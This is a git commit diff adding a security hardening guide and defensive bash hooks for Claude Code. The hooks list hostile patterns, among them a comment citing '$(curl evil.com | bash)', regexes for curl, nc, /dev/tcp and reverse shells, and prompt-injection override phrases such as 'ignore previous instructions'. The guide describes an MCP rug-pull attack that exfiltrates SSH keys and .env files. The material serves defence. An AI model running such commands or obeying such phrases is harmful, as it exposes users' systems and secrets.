feat(security): add security hardening guide and hooks v3.6.0

- Add guide/security-hardening.md (~10K) covering: - MCP vetting workflow with CVE-2025-53109/53110, 54135, 54136 - Prompt injection evasion techniques (Unicode, ANSI, null bytes) - Secret detection tool comparison (Gitleaks, TruffleHog, GitGuardian) - Incident response procedures - Add 3 new security hooks: - unicode-injection-scanner.sh: zero-width, RTL, ANSI escape detection - repo-integrity-scanner.sh: scan README/package.json for injection - mcp-config-integrity.sh: verify MCP config hash - Update existing hooks: - prompt-injection-detector.sh: +ANSI, +null bytes, +nested cmd - output-secrets-scanner.sh: +env leakage, +generic tokens - Update cross-references in ultimate-guide.md (§7.4, §8.6) - Move MCP Security Hardening to Done in IDEAS.md Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-15 07:39:53 +01:00 · 2026-01-15 07:39:53 +01:00 · 34b2ca7200
commit 34b2ca7200
parent 55a9fa34cf
12 changed files with 986 additions and 22 deletions
--- a/IDEAS.md
+++ b/IDEAS.md
@ -2,25 +2,25 @@

 > Research topics for future guide improvements. Curated and validated.

-## High Priority
+## Done

-### MCP Security Hardening
+### MCP Security Hardening ✅
 Unified security research covering MCP vulnerabilities, prompt injection, and secret detection.

-**Topics:**
- Real-world Tool Shadowing and Confused Deputy incidents
- Prompt injection bypass techniques (Unicode, encoding, obfuscation)
- Secret detection regex patterns (compare GitHub, Gitleaks, TruffleHog)
- Supply chain risks in MCP server ecosystem
+**Completed**: [Security Hardening Guide](./guide/security-hardening.md) covers:
+- CVE-2025-53109/53110, 54135, 54136 with mitigations
+- MCP vetting workflow with 5-minute audit checklist
+- MCP Safe List (community vetted)
+- Prompt injection evasion techniques (Unicode, ANSI, null bytes)
+- Secret detection tool comparison (Gitleaks, TruffleHog, GitGuardian)
+- Incident response procedures (secret exposed, MCP compromised)
+- 3 new hooks: `unicode-injection-scanner.sh`, `repo-integrity-scanner.sh`, `mcp-config-integrity.sh`

-**Perplexity Query:**
-```
-MCP Model Context Protocol security vulnerabilities 2024-2025:
- Tool shadowing attacks
- Prompt injection bypass techniques for coding assistants
- Secret detection regex patterns comparison (GitHub vs Gitleaks vs TruffleHog)
-Include real incidents if documented.
-```
+---
+
+## High Priority
+
+*(No items currently)*

 ---

--- a/README.md
+++ b/README.md
@ -405,11 +405,14 @@ Copy-paste templates from [`examples/`](./examples/) for immediate use:
 |------|-------|---------|
 | [dangerous-actions-blocker.sh](./examples/hooks/bash/dangerous-actions-blocker.sh) | PreToolUse | Block `rm -rf /`, force push, secrets |
 | [prompt-injection-detector.sh](./examples/hooks/bash/prompt-injection-detector.sh) | PreToolUse | Detect injection attempts |
+| [unicode-injection-scanner.sh](./examples/hooks/bash/unicode-injection-scanner.sh) | PreToolUse | Detect zero-width, RTL, ANSI escape |
+| [repo-integrity-scanner.sh](./examples/hooks/bash/repo-integrity-scanner.sh) | PreToolUse | Scan README/package.json for injection |
+| [mcp-config-integrity.sh](./examples/hooks/bash/mcp-config-integrity.sh) | SessionStart | Verify MCP config hash (CVE protection) |
 | [output-secrets-scanner.sh](./examples/hooks/bash/output-secrets-scanner.sh) | PostToolUse | Detect exposed secrets |
 | [notification.sh](./examples/hooks/bash/notification.sh) | Notification | macOS sound alerts |
 | [auto-format.sh](./examples/hooks/bash/auto-format.sh) | PostToolUse | Auto-format with Prettier |

-**[See All 11 Hooks](./examples/hooks/)** — Includes session-logger, security-check, claudemd-scanner, and more
+**[See All 14 Hooks](./examples/hooks/)** — Includes session-logger, security-check, claudemd-scanner, and more

 ### GitHub Actions (CI/CD)

@ -554,7 +557,7 @@ If this guide saved you time, helped you master Claude Code, or inspired your wo

 ---

-*Version 3.5.0 | January 2026 | Crafted with Claude*
+*Version 3.6.0 | January 2026 | Crafted with Claude*

 <!-- SEO Keywords -->
 <!-- claude code, claude code tutorial, anthropic cli, ai coding assistant, claude code mcp,
--- a/examples/README.md
+++ b/examples/README.md
@ -72,14 +72,18 @@ Ready-to-use templates for Claude Code configuration.
 |------|-------|---------|
 | [dangerous-actions-blocker.sh](./hooks/bash/dangerous-actions-blocker.sh) | PreToolUse | Block dangerous commands/edits |
 | [security-check.*](./hooks/) | PreToolUse | Block secrets in commands |
+| [prompt-injection-detector.sh](./hooks/bash/prompt-injection-detector.sh) | PreToolUse | Detect injection attempts (+ANSI, null bytes) |
+| [unicode-injection-scanner.sh](./hooks/bash/unicode-injection-scanner.sh) | PreToolUse | Detect zero-width, RTL, ANSI escape |
+| [repo-integrity-scanner.sh](./hooks/bash/repo-integrity-scanner.sh) | PreToolUse | Scan README/package.json for injection |
+| [mcp-config-integrity.sh](./hooks/bash/mcp-config-integrity.sh) | SessionStart | Verify MCP config hash (CVE protection) |
+| [output-secrets-scanner.sh](./hooks/bash/output-secrets-scanner.sh) | PostToolUse | Detect secrets + env leakage |
 | [auto-format.*](./hooks/) | PostToolUse | Auto-format after edits |
 | [notification.sh](./hooks/bash/notification.sh) | Notification | Contextual macOS sound alerts |
-| [prompt-injection-detector.sh](./hooks/bash/prompt-injection-detector.sh) | PreToolUse | Detect prompt injection attempts |
 | [output-validator.sh](./hooks/bash/output-validator.sh) | PostToolUse | Heuristic output validation |
 | [session-logger.sh](./hooks/bash/session-logger.sh) | PostToolUse | Log operations for monitoring |
 | [pre-commit-evaluator.sh](./hooks/bash/pre-commit-evaluator.sh) | Git hook | LLM-as-a-Judge pre-commit |

-> **See [hooks/README.md](./hooks/README.md) for complete documentation and examples**
+> **See [hooks/README.md](./hooks/README.md) for complete documentation and security hardening patterns**

 ### Config
 | File | Purpose |
--- a/examples/hooks/README.md
+++ b/examples/hooks/README.md
@ -8,8 +8,12 @@ Hooks are scripts that execute automatically on Claude Code events. They enable
 |------|-------|---------|----------|
 | [dangerous-actions-blocker.sh](./bash/dangerous-actions-blocker.sh) | PreToolUse | Block dangerous commands/edits | Bash |
 | [security-check.sh](./bash/security-check.sh) | PreToolUse | Block secrets in commands | Bash |
+| [prompt-injection-detector.sh](./bash/prompt-injection-detector.sh) | PreToolUse | Detect injection attempts (+ANSI, null bytes, nested cmd) | Bash |
+| [unicode-injection-scanner.sh](./bash/unicode-injection-scanner.sh) | PreToolUse | Detect zero-width, RTL override, ANSI escape, null bytes | Bash |
+| [repo-integrity-scanner.sh](./bash/repo-integrity-scanner.sh) | PreToolUse | Scan README/package.json for hidden injection | Bash |
+| [mcp-config-integrity.sh](./bash/mcp-config-integrity.sh) | SessionStart | Verify MCP config hash (CVE-2025-54135/54136) | Bash |
 | [claudemd-scanner.sh](./bash/claudemd-scanner.sh) | SessionStart | Detect CLAUDE.md injection attacks | Bash |
-| [output-secrets-scanner.sh](./bash/output-secrets-scanner.sh) | PostToolUse | Detect secrets in tool outputs | Bash |
+| [output-secrets-scanner.sh](./bash/output-secrets-scanner.sh) | PostToolUse | Detect secrets + env leakage in tool outputs | Bash |
 | [auto-format.sh](./bash/auto-format.sh) | PostToolUse | Auto-format after edits | Bash |
 | [notification.sh](./bash/notification.sh) | Notification | Contextual macOS sound alerts | Bash (macOS) |
 | [security-check.ps1](./powershell/security-check.ps1) | PreToolUse | Block secrets in commands | PowerShell |
--- a/examples/hooks/bash/mcp-config-integrity.sh
+++ b/examples/hooks/bash/mcp-config-integrity.sh
@ -0,0 +1,118 @@
+#!/bin/bash
+# =============================================================================
+# MCP Config Integrity Hook
+# =============================================================================
+# Event: SessionStart (runs when Claude Code session begins)
+# Purpose: Verify MCP configuration has not been tampered with
+#
+# This hook addresses CVE-2025-54135 and CVE-2025-54136 by:
+#   - Computing hash of ~/.claude/mcp.json
+#   - Comparing against stored baseline
+#   - Alerting on unauthorized modifications
+#   - Checking project-level .mcp.json for suspicious content
+#
+# Installation:
+#   Add to .claude/settings.json:
+#   {
+#     "hooks": {
+#       "SessionStart": [
+#         "bash examples/hooks/bash/mcp-config-integrity.sh"
+#       ]
+#     }
+#   }
+#
+# Initial setup (run once to create baseline):
+#   sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256
+#
+# Exit codes:
+#   0 = allow (config unchanged or no baseline)
+#   Non-zero outputs systemMessage warnings
+#
+# References:
+#   - CVE-2025-54135: RCE in Cursor via prompt injection rewriting mcp.json
+#   - CVE-2025-54136: Persistent team backdoor via post-approval config tampering
+# =============================================================================
+
+set -euo pipefail
+
+# Configuration paths
+MCP_CONFIG="${HOME}/.claude/mcp.json"
+MCP_BASELINE="${HOME}/.claude/.mcp-baseline.sha256"
+PROJECT_MCP=".mcp.json"
+
+WARNINGS=()
+
+# === GLOBAL MCP CONFIG CHECK ===
+if [[ -f "$MCP_CONFIG" ]]; then
+    # Check if baseline exists
+    if [[ -f "$MCP_BASELINE" ]]; then
+        # Compute current hash
+        CURRENT_HASH=$(sha256sum "$MCP_CONFIG" 2>/dev/null | awk '{print $1}')
+        BASELINE_HASH=$(awk '{print $1}' "$MCP_BASELINE" 2>/dev/null || echo "")
+
+        if [[ -n "$CURRENT_HASH" && -n "$BASELINE_HASH" && "$CURRENT_HASH" != "$BASELINE_HASH" ]]; then
+            WARNINGS+=("MCP config modified since baseline was created. Review ~/.claude/mcp.json for unauthorized changes. Run 'sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256' to update baseline if changes are legitimate.")
+        fi
+    else
+        # No baseline - suggest creating one
+        WARNINGS+=("No MCP config baseline found. Consider running: sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256")
+    fi
+
+    # === CHECK FOR SUSPICIOUS MCP SERVERS ===
+    # Look for known risky patterns
+    MCP_CONTENT=$(cat "$MCP_CONFIG" 2>/dev/null || echo "{}")
+
+    # Check for dangerous flags
+    if echo "$MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
+        WARNINGS+=("MCP config contains dangerous flags (--dangerous, --allow-write, or --no-sandbox). Review carefully.")
+    fi
+
+    # Check for unpinned versions (using @latest or no version)
+    if echo "$MCP_CONTENT" | grep -qE '"[^"]*@latest"|"npx"[^}]*"-y"[^}]*"[^@"]+\"'; then
+        WARNINGS+=("MCP config may contain unpinned versions (@latest or missing version). Pin to specific versions for security.")
+    fi
+
+    # Check for suspicious environment variables
+    if echo "$MCP_CONTENT" | grep -qiE '"env"[^}]*"(PASSWORD|SECRET|TOKEN|API_KEY|PRIVATE_KEY)"'; then
+        WARNINGS+=("MCP config contains potentially sensitive environment variables. Ensure these are not hardcoded secrets.")
+    fi
+
+    # Check for external URLs in commands
+    if echo "$MCP_CONTENT" | grep -qE 'https?://[^"]+' | grep -vE 'npm|github|registry'; then
+        WARNINGS+=("MCP config references external URLs. Verify these are trusted sources.")
+    fi
+fi
+
+# === PROJECT-LEVEL MCP CONFIG CHECK ===
+if [[ -f "$PROJECT_MCP" ]]; then
+    PROJECT_MCP_CONTENT=$(cat "$PROJECT_MCP" 2>/dev/null || echo "{}")
+
+    # Check for dangerous flags in project config
+    if echo "$PROJECT_MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
+        WARNINGS+=("Project .mcp.json contains dangerous flags. This could be a supply chain attack.")
+    fi
+
+    # Check for shell injection patterns
+    if echo "$PROJECT_MCP_CONTENT" | grep -qE '\$\(|`[^`]+`|&&|\|\|'; then
+        WARNINGS+=("Project .mcp.json contains shell metacharacters. Review for command injection.")
+    fi
+
+    # Check for base64-encoded content
+    if echo "$PROJECT_MCP_CONTENT" | grep -qE '[A-Za-z0-9+/]{40,}={0,2}'; then
+        WARNINGS+=("Project .mcp.json contains base64-like content. This could hide malicious payloads.")
+    fi
+fi
+
+# === OUTPUT WARNINGS ===
+if [[ ${#WARNINGS[@]} -gt 0 ]]; then
+    WARNING_MSG=""
+    for warning in "${WARNINGS[@]}"; do
+        WARNING_MSG="${WARNING_MSG}⚠️ ${warning} "
+    done
+
+    # Output as systemMessage
+    echo "{\"systemMessage\": \"MCP INTEGRITY CHECK: ${WARNING_MSG}\"}"
+fi
+
+# Always exit 0 (warn, don't block session start)
+exit 0
--- a/examples/hooks/bash/output-secrets-scanner.sh
+++ b/examples/hooks/bash/output-secrets-scanner.sh
@ -52,6 +52,8 @@ declare -A SECRET_PATTERNS=(
    ["Stripe Key"]="(sk|pk)_(live|test)_[0-9a-zA-Z]{24,}"
    ["Twilio Key"]="SK[a-f0-9]{32}"
    ["SendGrid Key"]="SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"
+    ["Slack Token"]="xox[baprs]-[0-9a-zA-Z-]{10,}"
+    ["Discord Token"]="[MN][A-Za-z0-9]{23,}\.[A-Za-z0-9-_]{6}\.[A-Za-z0-9-_]{27}"

    # Tokens
    ["GitHub Token"]="(ghp|gho|ghu|ghs|ghr)_[a-zA-Z0-9]{36,}"
@ -59,6 +61,7 @@ declare -A SECRET_PATTERNS=(
    ["NPM Token"]="npm_[a-zA-Z0-9]{36}"
    ["PyPI Token"]="pypi-[a-zA-Z0-9_-]{50,}"
    ["JWT Token"]="eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*"
+    ["Heroku API Key"]="[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"

    # Private Keys
    ["Private Key"]="-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"
@ -68,9 +71,15 @@ declare -A SECRET_PATTERNS=(
    ["Database URL with Password"]="(postgres|mysql|mongodb)://[^:]+:[^@]+@"
    ["Redis URL with Password"]="redis://:[^@]+@"

-    # Generic
+    # Generic (58% of leaked secrets are "generic" - GitGuardian 2025)
    ["Generic API Key"]="(api[_-]?key|apikey|api[_-]?secret)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
    ["Generic Secret"]="(secret|password|passwd|pwd)['\"]?\s*[:=]\s*['\"]?[^\s'\"]{8,}"
+    ["Generic Token"]="(token|auth[_-]?token|access[_-]?token|bearer)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
+    ["Private Key Inline"]="['\"]?-----BEGIN[^-]+PRIVATE KEY-----"
+
+    # Environment Variable Leakage
+    ["Env Dump Command"]="^(env|printenv|set)$"
+    ["Proc Environ Access"]="/proc/self/environ|/proc/[0-9]+/environ"
 )

 DETECTED_SECRETS=()
--- a/examples/hooks/bash/prompt-injection-detector.sh
+++ b/examples/hooks/bash/prompt-injection-detector.sh
@ -159,6 +159,38 @@ if echo "$CONTENT" | grep -qE '[A-Za-z0-9+/]{50,}={0,2}'; then
    done
 fi

+# === ANSI ESCAPE SEQUENCES ===
+# Terminal manipulation via escape codes (CVE-related)
+# \x1b[ CSI, \x1b] OSC, \x1b( charset selection
+if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
+    echo "BLOCKED: ANSI escape sequence detected - potential terminal injection" >&2
+    exit 2
+fi
+
+# === NULL BYTE INJECTION ===
+# Null bytes can truncate strings and bypass security checks
+if echo "$CONTENT" | grep -qP '\x00'; then
+    echo "BLOCKED: Null byte detected - potential truncation attack" >&2
+    exit 2
+fi
+
+# === NESTED COMMAND EXECUTION ===
+# Detect $() and backtick command substitution that could bypass denylists
+# This catches patterns like: $(curl evil.com | bash) or `rm -rf /`
+NESTED_CMD_PATTERNS=(
+    '\$\([^)]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
+    '`[^`]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
+    '\$\([^)]*\b(rm|dd|mkfs|chmod|chown)\b'
+    '`[^`]*\b(rm|dd|mkfs|chmod|chown)\b'
+)
+
+for pattern in "${NESTED_CMD_PATTERNS[@]}"; do
+    if echo "$CONTENT" | grep -qE "$pattern"; then
+        echo "BLOCKED: Nested command execution detected - potential bypass attempt" >&2
+        exit 2
+    fi
+done
+
 # === CONTEXT MANIPULATION ===
 # Attempts to manipulate the conversation context
 CONTEXT_PATTERNS=(
--- a/examples/hooks/bash/repo-integrity-scanner.sh
+++ b/examples/hooks/bash/repo-integrity-scanner.sh
@ -0,0 +1,215 @@
+#!/bin/bash
+# =============================================================================
+# Repository Integrity Scanner Hook
+# =============================================================================
+# Event: PreToolUse (runs before Read on potentially malicious files)
+# Purpose: Scan repository files for injection vectors before processing
+#
+# This hook detects prompt injection attempts hidden in:
+#   - README.md, SECURITY.md (hidden HTML comments)
+#   - package.json, pyproject.toml (malicious scripts)
+#   - .claude/, .cursor/ configs (tampered configurations)
+#   - CONTRIBUTING.md (social engineering instructions)
+#
+# Installation:
+#   Add to .claude/settings.json:
+#   {
+#     "hooks": {
+#       "PreToolUse": [{
+#         "matcher": "Read",
+#         "hooks": ["bash examples/hooks/bash/repo-integrity-scanner.sh"]
+#       }]
+#     }
+#   }
+#
+# Exit codes:
+#   0 = allow (safe or not a target file)
+#   2 = block (injection detected)
+#
+# References:
+#   - CVE-2025-54135: RCE via config file rewriting
+#   - CVE-2025-54136: Team backdoor via post-approval config tampering
+# =============================================================================
+
+set -euo pipefail
+
+# Read the hook input from stdin
+INPUT=$(cat)
+
+TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
+TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
+
+# Only check Read operations
+[[ "$TOOL_NAME" != "Read" ]] && exit 0
+
+FILE_PATH=$(echo "$TOOL_INPUT" | jq -r '.file_path // empty')
+[[ -z "$FILE_PATH" ]] && exit 0
+
+# Check if file exists
+[[ ! -f "$FILE_PATH" ]] && exit 0
+
+FILENAME=$(basename "$FILE_PATH")
+DIRNAME=$(dirname "$FILE_PATH")
+
+# === HIGH-RISK FILES ===
+# These files are common injection vectors
+HIGH_RISK_FILES=(
+    "README.md"
+    "readme.md"
+    "SECURITY.md"
+    "CONTRIBUTING.md"
+    "CHANGELOG.md"
+)
+
+# === CONFIG FILES ===
+# Configuration files that could contain malicious settings
+CONFIG_FILES=(
+    "package.json"
+    "pyproject.toml"
+    "setup.py"
+    "setup.cfg"
+    "Makefile"
+    ".pre-commit-config.yaml"
+)
+
+# === CLAUDE/CURSOR CONFIG ===
+# IDE config files that could be tampered
+IDE_CONFIG_PATTERNS=(
+    ".claude"
+    ".cursor"
+    ".vscode"
+    ".idea"
+)
+
+# Function to check for injection patterns
+check_injection_patterns() {
+    local file="$1"
+    local content
+    content=$(cat "$file" 2>/dev/null || echo "")
+
+    # === HIDDEN HTML COMMENTS ===
+    # Look for HTML comments with instruction-like content
+    if echo "$content" | grep -qiE '<!--.*\b(ignore|override|system|execute|run|eval|inject)\b.*-->'; then
+        echo "BLOCKED: Hidden HTML comment with suspicious instructions in: $file" >&2
+        return 1
+    fi
+
+    # === ROLE OVERRIDE PATTERNS ===
+    if echo "$content" | grep -qiE 'ignore (previous|all|your) instructions|you are now|pretend (you are|to be)|from now on|new instructions:'; then
+        echo "BLOCKED: Prompt injection pattern detected in: $file" >&2
+        return 1
+    fi
+
+    # === BASE64 IN COMMENTS ===
+    # Long base64 strings in comments could be encoded instructions
+    if echo "$content" | grep -qE '(#|//|<!--).*[A-Za-z0-9+/]{40,}={0,2}'; then
+        # Try to decode and check for injection
+        local encoded
+        encoded=$(echo "$content" | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | head -1)
+        local decoded
+        decoded=$(echo "$encoded" | base64 -d 2>/dev/null || echo "")
+        if echo "$decoded" | grep -qiE 'ignore|override|system|jailbreak'; then
+            echo "BLOCKED: Base64-encoded injection detected in: $file" >&2
+            return 1
+        fi
+    fi
+
+    return 0
+}
+
+# Function to check package.json for suspicious scripts
+check_package_json() {
+    local file="$1"
+
+    # Extract scripts section
+    local scripts
+    scripts=$(jq -r '.scripts // {} | to_entries[] | "\(.key): \(.value)"' "$file" 2>/dev/null || echo "")
+
+    # Suspicious script patterns
+    SUSPICIOUS_PATTERNS=(
+        "curl.*|.*bash"
+        "wget.*|.*sh"
+        "eval\("
+        "base64.*-d"
+        "nc -"
+        "reverse.*shell"
+        "/dev/tcp/"
+        "\\$\\(.*\\)"  # Command substitution
+    )
+
+    for pattern in "${SUSPICIOUS_PATTERNS[@]}"; do
+        if echo "$scripts" | grep -qiE "$pattern"; then
+            echo "BLOCKED: Suspicious npm script detected in $file: pattern '$pattern'" >&2
+            return 1
+        fi
+    done
+
+    return 0
+}
+
+# Function to check Python setup files
+check_python_setup() {
+    local file="$1"
+    local content
+    content=$(cat "$file" 2>/dev/null || echo "")
+
+    # Suspicious patterns in setup files
+    if echo "$content" | grep -qiE 'os\.system|subprocess\.(run|call|Popen)|exec\(|eval\(|__import__.*os'; then
+        # Warning only - these could be legitimate
+        echo '{"systemMessage": "Warning: Python setup file contains code execution patterns. Verify legitimacy before installing."}'
+    fi
+
+    return 0
+}
+
+# === MAIN CHECKS ===
+
+# Check high-risk markdown files
+for risk_file in "${HIGH_RISK_FILES[@]}"; do
+    if [[ "$FILENAME" == "$risk_file" ]]; then
+        check_injection_patterns "$FILE_PATH" || exit 2
+        break
+    fi
+done
+
+# Check config files
+for config_file in "${CONFIG_FILES[@]}"; do
+    if [[ "$FILENAME" == "$config_file" ]]; then
+        case "$FILENAME" in
+            package.json)
+                check_package_json "$FILE_PATH" || exit 2
+                ;;
+            pyproject.toml|setup.py|setup.cfg)
+                check_python_setup "$FILE_PATH" || exit 2
+                ;;
+            Makefile)
+                check_injection_patterns "$FILE_PATH" || exit 2
+                ;;
+        esac
+        break
+    fi
+done
+
+# Check IDE config directories
+for ide_pattern in "${IDE_CONFIG_PATTERNS[@]}"; do
+    if [[ "$DIRNAME" == *"$ide_pattern"* || "$FILE_PATH" == *"$ide_pattern"* ]]; then
+        # Extra scrutiny for IDE configs
+        check_injection_patterns "$FILE_PATH" || exit 2
+
+        # Check for suspicious config modifications
+        if [[ "$FILENAME" == *.json ]]; then
+            local content
+            content=$(cat "$FILE_PATH" 2>/dev/null || echo "")
+
+            # Look for hooks pointing to external URLs or suspicious commands
+            if echo "$content" | grep -qiE '"hooks".*"(curl|wget|bash|sh|nc|python|node)'; then
+                echo "BLOCKED: Suspicious hook command in IDE config: $FILE_PATH" >&2
+                exit 2
+            fi
+        fi
+        break
+    fi
+done
+
+# All checks passed
+exit 0
--- a/examples/hooks/bash/unicode-injection-scanner.sh
+++ b/examples/hooks/bash/unicode-injection-scanner.sh
@ -0,0 +1,141 @@
+#!/bin/bash
+# =============================================================================
+# Unicode Injection Scanner Hook
+# =============================================================================
+# Event: PreToolUse (runs before Edit/Write operations)
+# Purpose: Detect invisible Unicode characters used for prompt injection
+#
+# This hook detects evasion techniques that embed invisible instructions:
+#   - Zero-width characters (U+200B-U+200D, U+FEFF)
+#   - RTL/LTR override (U+202A-U+202E, U+2066-U+2069)
+#   - ANSI escape sequences (terminal injection)
+#   - Null bytes (truncation attacks)
+#   - Tag characters (U+E0000-U+E007F)
+#
+# Installation:
+#   Add to .claude/settings.json:
+#   {
+#     "hooks": {
+#       "PreToolUse": [{
+#         "matcher": "Edit|Write",
+#         "hooks": ["bash examples/hooks/bash/unicode-injection-scanner.sh"]
+#       }]
+#     }
+#   }
+#
+# Exit codes:
+#   0 = allow (no injection detected)
+#   2 = block (injection detected, stderr message shown to Claude)
+#
+# References:
+#   - CVE-2025-53109/53110: Unicode-based sandbox escape
+#   - Arxiv 2509.22040: Prompt Injection on Coding Assistants
+# =============================================================================
+
+set -euo pipefail
+
+# Read the hook input from stdin
+INPUT=$(cat)
+
+TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
+TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
+
+# Only check Edit and Write tools
+case "$TOOL_NAME" in
+    Edit|Write)
+        ;;
+    *)
+        exit 0
+        ;;
+esac
+
+# Extract content to analyze
+CONTENT=""
+case "$TOOL_NAME" in
+    Write)
+        CONTENT=$(echo "$TOOL_INPUT" | jq -r '.content // empty')
+        ;;
+    Edit)
+        CONTENT=$(echo "$TOOL_INPUT" | jq -r '.new_string // empty')
+        ;;
+esac
+
+# Skip if no content
+[[ -z "$CONTENT" ]] && exit 0
+
+# === ZERO-WIDTH CHARACTERS ===
+# U+200B Zero Width Space
+# U+200C Zero Width Non-Joiner
+# U+200D Zero Width Joiner
+# U+FEFF Byte Order Mark (when not at start)
+if echo "$CONTENT" | grep -qP '[\x{200B}-\x{200D}\x{FEFF}]'; then
+    echo "BLOCKED: Zero-width characters detected (U+200B-U+200D or BOM). These can hide malicious instructions." >&2
+    exit 2
+fi
+
+# === BIDIRECTIONAL TEXT OVERRIDE ===
+# U+202A Left-to-Right Embedding
+# U+202B Right-to-Left Embedding
+# U+202C Pop Directional Formatting
+# U+202D Left-to-Right Override
+# U+202E Right-to-Left Override (most dangerous - reverses text display)
+# U+2066-U+2069 Isolate controls
+if echo "$CONTENT" | grep -qP '[\x{202A}-\x{202E}\x{2066}-\x{2069}]'; then
+    echo "BLOCKED: Bidirectional text override detected (U+202A-U+202E). These can disguise malicious commands." >&2
+    exit 2
+fi
+
+# === ANSI ESCAPE SEQUENCES ===
+# \x1b[ CSI (Control Sequence Introducer) - terminal control
+# \x1b] OSC (Operating System Command)
+# \x1b( Character set selection
+# These can manipulate terminal display or execute commands
+if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
+    echo "BLOCKED: ANSI escape sequence detected. These can manipulate terminal display." >&2
+    exit 2
+fi
+
+# === NULL BYTES ===
+# \x00 can truncate strings and bypass security checks
+if echo "$CONTENT" | grep -qP '\x00'; then
+    echo "BLOCKED: Null byte detected. These can cause string truncation attacks." >&2
+    exit 2
+fi
+
+# === TAG CHARACTERS ===
+# U+E0000-U+E007F are invisible "tag" characters
+# Sometimes used to embed hidden data
+if echo "$CONTENT" | grep -qP '[\x{E0000}-\x{E007F}]'; then
+    echo "BLOCKED: Unicode tag characters detected (U+E0000-E007F). These can embed invisible data." >&2
+    exit 2
+fi
+
+# === OVERLONG UTF-8 SEQUENCES ===
+# Detect potential overlong encodings (e.g., encoding '/' as C0 AF instead of 2F)
+# These can bypass path filters
+# Check for C0 or C1 bytes followed by 80-BF (overlong 2-byte sequences)
+if echo "$CONTENT" | grep -qP '[\xC0-\xC1][\x80-\xBF]'; then
+    echo "BLOCKED: Overlong UTF-8 sequence detected. These can bypass security filters." >&2
+    exit 2
+fi
+
+# === HOMOGLYPHS WARNING ===
+# Detect Cyrillic characters that look like Latin (confusables)
+# Common in typosquatting and filter bypass
+# а (U+0430) vs a, е (U+0435) vs e, о (U+043E) vs o, etc.
+HOMOGLYPHS_FOUND=false
+if echo "$CONTENT" | grep -qP '[\x{0430}\x{0435}\x{043E}\x{0440}\x{0441}\x{0445}]'; then
+    HOMOGLYPHS_FOUND=true
+fi
+if echo "$CONTENT" | grep -qP '[\x{0391}-\x{03C9}]' && echo "$CONTENT" | grep -qP '[a-zA-Z]'; then
+    # Greek mixed with Latin
+    HOMOGLYPHS_FOUND=true
+fi
+
+if [[ "$HOMOGLYPHS_FOUND" == "true" ]]; then
+    # Warning only - could be legitimate multilingual content
+    echo '{"systemMessage": "Warning: Potential homoglyph characters detected (Cyrillic/Greek mixed with Latin). Verify this is not an attempt to bypass filters."}'
+fi
+
+# All checks passed
+exit 0
--- a/guide/cheatsheet.md
+++ b/guide/cheatsheet.md
@ -393,4 +393,4 @@ where.exe claude; claude doctor; claude mcp list

 **Author**: Florian BRUNIAUX | [@Méthode Aristote](https://methode-aristote.fr) | Written with Claude

-*Last updated: January 2026 | Version 3.5.0*
+*Last updated: January 2026 | Version 3.6.0*
--- a/guide/security-hardening.md
+++ b/guide/security-hardening.md
@ -0,0 +1,434 @@
+# Security Hardening Guide
+
+> **Confidence**: Tier 2 — Based on CVE disclosures, security research (2024-2025), and community validation
+>
+> **Scope**: Active threats (attacks, injection, CVE). For data retention and privacy, see [data-privacy.md](./data-privacy.md)
+
+---
+
+## TL;DR - Decision Matrix
+
+| Your Situation | Immediate Action | Time |
+|----------------|------------------|------|
+| **Solo dev, public repos** | Install output scanner hook | 5 min |
+| **Team, sensitive codebase** | + MCP vetting + injection hooks | 30 min |
+| **Enterprise, production** | + ZDR + integrity verification | 2 hours |
+
+**Right now**: Check your MCPs against the [Safe List](#mcp-safe-list-community-vetted) below.
+
+> **NEVER**: Approve MCPs from unknown sources without version pinning.
+> **NEVER**: Run database MCPs on production without read-only credentials.
+
+---
+
+## Part 1: Prevention (Before You Start)
+
+### 1.1 MCP Vetting Workflow
+
+Model Context Protocol (MCP) servers extend Claude Code's capabilities but introduce significant attack surface. Understanding the threat model is essential.
+
+#### Attack: MCP Rug Pull
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│  1. Attacker publishes benign MCP "code-formatter"          │
+│                         ↓                                    │
+│  2. User adds to ~/.claude/mcp.json, approves once          │
+│                         ↓                                    │
+│  3. MCP works normally for 2 weeks (builds trust)           │
+│                         ↓                                    │
+│  4. Attacker pushes malicious update (no re-approval!)      │
+│                         ↓                                    │
+│  5. MCP exfiltrates ~/.ssh/*, .env, credentials             │
+└─────────────────────────────────────────────────────────────┘
+MITIGATION: Version pinning + hash verification + monitoring
+```
+
+This attack exploits the one-time approval model: once you approve an MCP, updates execute automatically without re-consent.
+
+#### CVE Summary (2025)
+
+| CVE | Severity | Impact | Mitigation |
+|-----|----------|--------|------------|
+| **CVE-2025-53109/53110** | High | Filesystem MCP sandbox escape via prefix bypass + symlinks | Avoid Filesystem MCP or apply patch |
+| **CVE-2025-54135** | High (8.6) | RCE in Cursor via prompt injection rewriting mcp.json | File integrity monitoring hook |
+| **CVE-2025-54136** | High | Persistent team backdoor via post-approval config tampering | Git hooks + hash verification |
+| **CVE-2025-49596** | Critical (9.4) | RCE in MCP Inspector tool | Update to patched version |
+
